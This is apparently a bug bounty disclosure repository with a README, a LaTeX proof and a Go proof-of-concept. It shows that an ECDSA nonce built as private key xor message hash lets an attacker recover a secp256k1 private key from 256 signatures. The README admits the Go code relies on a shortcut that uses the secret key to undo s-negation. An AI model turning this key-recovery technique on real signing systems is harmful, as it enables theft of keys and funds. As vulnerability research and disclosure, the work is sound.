├── README.md ├── explanation ├── Makefile ├── explanation.pdf └── explanation.tex └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # Ethereum Bug Bounty Submission: Predictable ECDSA Nonce 2 | Breaks an ecdsa implementation that uses `privKey xor message` as nonce. Recovering the full private key requires 256 signatures. 3 | In other words, every signature leaks 1 bit. 4 | A detailed explanation of the attack can be found in the 5 | [explanation.pdf](https://github.com/jonasnick/ecdsaPredictableNonce/raw/master/explanation/explanation.pdf). 6 | 7 | `main.go` is the implementation of an attack specifically against a vulnerable version of [github.com/obscuren/secp256k1-go](https://github.com/obscuren/secp256k1-go) and thus also against [go-ethereum](https://github.com/ethereum/go-ethereum) . 8 | It takes roughly 11 minutes for my 3.0Ghz processor to solve the system. 9 | The obvious fix is to use the operating system's PRNG to generate the nonce just like the [original project by haltingstate](https://github.com/haltingstate/secp256k1-go). 10 | 11 | Caveat 12 | --- 13 | In its current form, this attack does not directly work against github.com/obscuren/secp256k1-go package. 14 | The reason for this is that in order to prevent `s`-malleability, libsecp256k1 enforces an `s` that is smaller than `curve_order/2`. 15 | If libsecp256k1 computes an `s` that is bigger it is negated, which essentially has the effect that the message is signed using the negative of the original nonce. 16 | Because this attack gets only 1 bit from each signature generated from the textbook algorithm and we don't know if `nonce` or `-nonce` has been used, the attacker looses 1 bit and thus learns nothing. 17 | See [this line] (https://github.com/jonasnick/ecdsaPredictableNonce/blob/master/main.go#L215) for the cheat that is used in order to ensure using the non-negated nonce. 18 | 19 | Thanks to [Pieter Wuille](https://github.com/sipa) for some helpful discussion. 20 | -------------------------------------------------------------------------------- /explanation/Makefile: -------------------------------------------------------------------------------- 1 | explanation.pdf: explanation.tex 2 | latexmk -pdf explanation.tex 3 | latexmk -c 4 | -------------------------------------------------------------------------------- /explanation/explanation.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jonasnick/ecdsaPredictableNonce/4932e064e07e46d679023851e33806b2dab1df76/explanation/explanation.pdf -------------------------------------------------------------------------------- /explanation/explanation.tex: -------------------------------------------------------------------------------- 1 | \documentclass[11pt,a4paper,oneside]{article} 2 | 3 | \usepackage{amsmath} 4 | \title{Breaking a Predictable ECDSA Nonce} 5 | \date{\today} 6 | \author{Jonas Nick} 7 | 8 | \begin{document} 9 | \maketitle 10 | Let $n, G$ be the parameters of secp256k1, where $n$ is the curve order and $G$ is the base point. 11 | Let $d$ be the private key $\in [1, n-1]$, $z$ be the hash of the message, $(r,s)$ the signature corresponding 12 | to the private key $d$ where $r,s \in [0, n-1]$, and $k$ the corresponding nonce. 13 | 14 | Then it holds that $s=k^{-1}(z+rd)\mod n$. The github.com/obscuren/secp256k1-go package chooses $k$ to be 15 | $z\oplus d$ (xor). 16 | At first glance this seems to be ok, since $k$ is unique for each message and 17 | it is unpredictable. An attacker can not directly influence $z$ because it is the outcome of a hash function. 18 | However, if an attacker obtains multiple signatures, the reuse of $d$ becomes a problem because $k$ 19 | becomes in fact predictable. 20 | 21 | The problem can be reformulated as a linear system: 22 | \begin{equation} 23 | \alpha = \sum_i d_i 2^i \beta_i 24 | \end{equation} 25 | where $\alpha = (s-1)z$ and $\beta_i = (r + (2z_i - 1)s)$ and $d_i$, $z_i$ are the $i$-th bit in the binary representation of $d$ and $z$. 26 | Thus, the attacker collects 256 signatures and solves the linear system for $d$. 27 | In other words, each signature leaks one bit of the private key. 28 | 29 | \section{Proof} 30 | 31 | Note that $a \oplus b = a + b - 2(a\wedge b)$. 32 | \begin{align*} 33 | s&=k^{-1}(z+rd) \\ 34 | &= (d\oplus z)^{-1}(z+rd)\\ 35 | &= (d + z - 2(d\wedge z))^{-1}(z+rd)\\ 36 | \iff ds + zs - 2s(d\wedge z)&= z + rd\\ 37 | \iff (s-1)z &= 2s(d\wedge z) (s-r)d\\ 38 | &= \sum_i 2^i d_i z_i 2s + \sum_i 2^i d_i (r-s) \\ 39 | &= \sum_i d_i 2^i (r + (2z_i - 1)s) \\ 40 | \end{align*} 41 | q.e.d 42 | \end{document} 43 | 44 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "fmt" 7 | "log" 8 | "math/big" 9 | 10 | "github.com/obscuren/secp256k1-go" 11 | ) 12 | 13 | func fill(b byte) []byte { 14 | p_bytes := make([]byte, 32) 15 | for i := range p_bytes { 16 | p_bytes[i] = b 17 | } 18 | return p_bytes 19 | } 20 | 21 | //FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE FFFFFC2F 22 | var p = func() *big.Int { 23 | p_bytes := fill(0xff) 24 | p_bytes[32-5] = 0xfe 25 | p_bytes[32-2] = 0xfc 26 | p_bytes[32-1] = 0x2f 27 | 28 | return byteToBig(p_bytes) 29 | }() 30 | 31 | var n_bytes = []byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xBA, 0xAE, 0xDC, 0xE6, 0xAF, 0x48, 0xA0, 0x3B, 0xBF, 0xD2, 0x5E, 0x8C, 0xD0, 0x36, 0x41, 0x41} 32 | var n = byteToBig(n_bytes) 33 | 34 | func byteToBig(b []byte) *big.Int { 35 | return big.NewInt(0).SetBytes(b) 36 | } 37 | 38 | func additiveInv(x *big.Int) *big.Int { 39 | return big.NewInt(0).Sub(n, x) 40 | } 41 | func additiveInvWith(x *big.Int, n *big.Int) *big.Int { 42 | return big.NewInt(0).Sub(n, x) 43 | } 44 | 45 | func bitVector(x *big.Int, numBytes int) []*big.Int { 46 | l := len(x.Bytes()) 47 | bV := make([]*big.Int, numBytes*8) 48 | for i := 0; i < numBytes; i++ { 49 | var b byte 50 | if i >= l { 51 | b = byte(0) 52 | } else { 53 | b = x.Bytes()[l-i-1] 54 | } 55 | for bit, mask := 0, byte(1); bit < 8; bit, mask = bit+1, mask<<1 { 56 | j := 8*numBytes - (8*i + int(bit)) - 1 57 | //j := i 58 | if b&mask != 0 { 59 | bV[j] = big.NewInt(1) 60 | } else { 61 | bV[j] = big.NewInt(0) 62 | } 63 | } 64 | } 65 | return bV 66 | } 67 | 68 | func bigIntFromBitVector(v []*big.Int) *big.Int { 69 | acc := big.NewInt(0) 70 | l := len(v) 71 | for i, b := range v { 72 | s := big.NewInt(0).Mul(b, big.NewInt(0).Exp(big.NewInt(2), big.NewInt(int64(l-i-1)), nil)) 73 | acc.Add(acc, s) 74 | } 75 | return big.NewInt(0).Mod(acc, n) 76 | } 77 | 78 | // s = k^-1(z + rd) mod n 79 | func checkECDSA(r, s, z, seckey *big.Int) error { 80 | k := big.NewInt(0).Xor(seckey, z) 81 | a := big.NewInt(0).ModInverse(k, n) 82 | rda := big.NewInt(0).Mod(big.NewInt(0).Mul(r, seckey), n) 83 | b := big.NewInt(0).Mod(big.NewInt(0).Add(z, rda), n) 84 | sNew := big.NewInt(0).Mod(big.NewInt(0).Mul(b, a), n) 85 | if bytes.Compare(sNew.Bytes(), s.Bytes()) != 0 { 86 | return errors.New("different s") 87 | } 88 | return nil 89 | } 90 | 91 | // negate s if our own ECDSA produces different s 92 | func maybeNegateS(r, s, z, d_a *big.Int) *big.Int { 93 | if checkECDSA(r, s, z, d_a) != nil { 94 | s = additiveInv(s) 95 | // sanity check 96 | if err := checkECDSA(r, s, z, d_a); err != nil { 97 | panic("failed potentially inverse") 98 | } 99 | } 100 | return s 101 | } 102 | 103 | // adapted from rosetta stone for finite fields 104 | func GaussPartial(a0 [][]*big.Int, b0 []*big.Int, coefMod *big.Int) ([]*big.Int, error) { 105 | // make augmented matrix 106 | m := len(b0) 107 | a := make([][]*big.Int, m) 108 | for i, ai := range a0 { 109 | row := make([]*big.Int, m+1) 110 | copy(row, ai) 111 | row[m] = b0[i] 112 | a[i] = row 113 | } 114 | // WP algorithm from Gaussian elimination page 115 | // produces row-eschelon form 116 | for k := range a { 117 | // Find pivot for column k: 118 | iMax := k 119 | max := a[k][k] 120 | for i := k + 1; i < m; i++ { 121 | abs := a[i][k] 122 | if abs.Cmp(max) > 0 { 123 | iMax = i 124 | max = abs 125 | } 126 | } 127 | if a[iMax][k].Cmp(big.NewInt(0)) == 0 { 128 | return nil, errors.New("singular") 129 | } 130 | // swap rows(k, i_max) 131 | a[k], a[iMax] = a[iMax], a[k] 132 | // Do for all rows below pivot: 133 | for i := k + 1; i < m; i++ { 134 | // Do for all remaining elements in current row: 135 | for j := k + 1; j <= m; j++ { 136 | a[i][j] = big.NewInt(0).Mod(big.NewInt(0).Add(a[i][j], additiveInvWith(big.NewInt(0).Mul(a[k][j], big.NewInt(0).Mul(a[i][k], big.NewInt(0).ModInverse(a[k][k], coefMod))), coefMod)), coefMod) 137 | } 138 | // Fill lower triangular matrix with zeros: 139 | a[i][k] = big.NewInt(0) 140 | } 141 | } 142 | // end of WP algorithm. 143 | // now back substitute to get result. 144 | x := make([]*big.Int, m) 145 | for i := m - 1; i >= 0; i-- { 146 | x[i] = a[i][m] 147 | for j := i + 1; j < m; j++ { 148 | x[i] = big.NewInt(0).Mod(big.NewInt(0).Add(x[i], additiveInvWith(big.NewInt(0).Mul(a[i][j], x[j]), coefMod)), coefMod) 149 | } 150 | x[i] = big.NewInt(0).Mod(big.NewInt(0).Mul(x[i], big.NewInt(0).ModInverse(a[i][i], coefMod)), coefMod) 151 | } 152 | return x, nil 153 | } 154 | 155 | func alpha(s, z *big.Int) *big.Int { 156 | a := big.NewInt(0).Mod(big.NewInt(0).Add(s, additiveInv(big.NewInt(1))), n) 157 | b := big.NewInt(0).Mod(big.NewInt(0).Mul(a, z), n) 158 | return b 159 | } 160 | 161 | func beta(r, s *big.Int, z_bits []*big.Int, i int) *big.Int { 162 | a := big.NewInt(0) 163 | l := len(z_bits) 164 | 165 | if z_bits[i].Cmp(big.NewInt(1)) == 0 { 166 | a = s 167 | } else { 168 | a = additiveInv(s) 169 | } 170 | exp := big.NewInt(0).Exp(big.NewInt(2), big.NewInt(int64(l-i-1)), nil) 171 | return big.NewInt(0).Mod(big.NewInt(0).Mul(big.NewInt(0).Add(a, r), exp), n) 172 | } 173 | 174 | func checkEquation(r, s, z, da *big.Int) error { 175 | z_bits := bitVector(z, 32) 176 | da_bits := bitVector(da, 32) 177 | a := alpha(s, z) 178 | sum := big.NewInt(0) 179 | 180 | for i, dab := range da_bits { 181 | a := big.NewInt(0).Mul(dab, beta(r, s, z_bits, i)) 182 | sum.Add(sum, a) 183 | } 184 | 185 | sum.Mod(sum, n) 186 | if bytes.Compare(sum.Bytes(), a.Bytes()) != 0 { 187 | fmt.Println(sum) 188 | fmt.Println(a) 189 | log.Fatal("check derivation 4") 190 | } 191 | return nil 192 | } 193 | 194 | func signatures(n int) ([]*big.Int, []*big.Int, []*big.Int) { 195 | rs := make([]*big.Int, n) 196 | ss := make([]*big.Int, n) 197 | zs := make([]*big.Int, n) 198 | 199 | _, seckey := secp256k1.GenerateKeyPair() 200 | //seckey := []byte{78, 210, 169, 208, 35, 22, 85, 33, 213, 206, 82, 33, 137, 76, 85, 234, 82, 174, 175, 134, 63, 181, 37, 131, 79, 227, 32, 12, 178, 209, 97, 164} 201 | fmt.Println("seckey", fmt.Sprintf("%X", seckey)) 202 | 203 | for i := 0; i < n; i++ { 204 | z := secp256k1.RandByte(32) 205 | sig, err := secp256k1.Sign(z, seckey) 206 | if err != nil { 207 | log.Fatal(err) 208 | } 209 | r_sig := sig[0:32] 210 | s_sig := sig[32:64] 211 | rs[i] = byteToBig(r_sig) 212 | zs[i] = byteToBig(z) 213 | 214 | // TODO: 215 | ss[i] = maybeNegateS(rs[i], byteToBig(s_sig), zs[i], byteToBig(seckey)) 216 | 217 | } 218 | return rs, ss, zs 219 | } 220 | 221 | func row(r, s, z *big.Int) (*big.Int, []*big.Int) { 222 | z_bits := bitVector(z, 32) 223 | l := len(z_bits) 224 | c := make([]*big.Int, l) 225 | for i := range z_bits { 226 | c[i] = beta(r, s, z_bits, i) 227 | } 228 | return alpha(s, z), c 229 | } 230 | 231 | func generate_rows(rs, ss, zs []*big.Int) ([]*big.Int, [][]*big.Int) { 232 | alphas := make([]*big.Int, 0) 233 | coefs := make([][]*big.Int, 0) 234 | for i := range rs { 235 | a, c := row(rs[i], ss[i], zs[i]) 236 | alphas = append(alphas, a) 237 | coefs = append(coefs, c) 238 | } 239 | return alphas, coefs 240 | } 241 | 242 | func recoverKey(rs, ss, zs []*big.Int) *big.Int { 243 | alphas, coefs := generate_rows(rs, ss, zs) 244 | x, err := GaussPartial(coefs, alphas, n) 245 | if err != nil { 246 | log.Fatal(err) 247 | } 248 | return bigIntFromBitVector(x) 249 | } 250 | 251 | func main() { 252 | rs, ss, zs := signatures(256) 253 | d := recoverKey(rs, ss, zs) 254 | fmt.Println("recovered key", fmt.Sprintf("%X", d)) 255 | } 256 | --------------------------------------------------------------------------------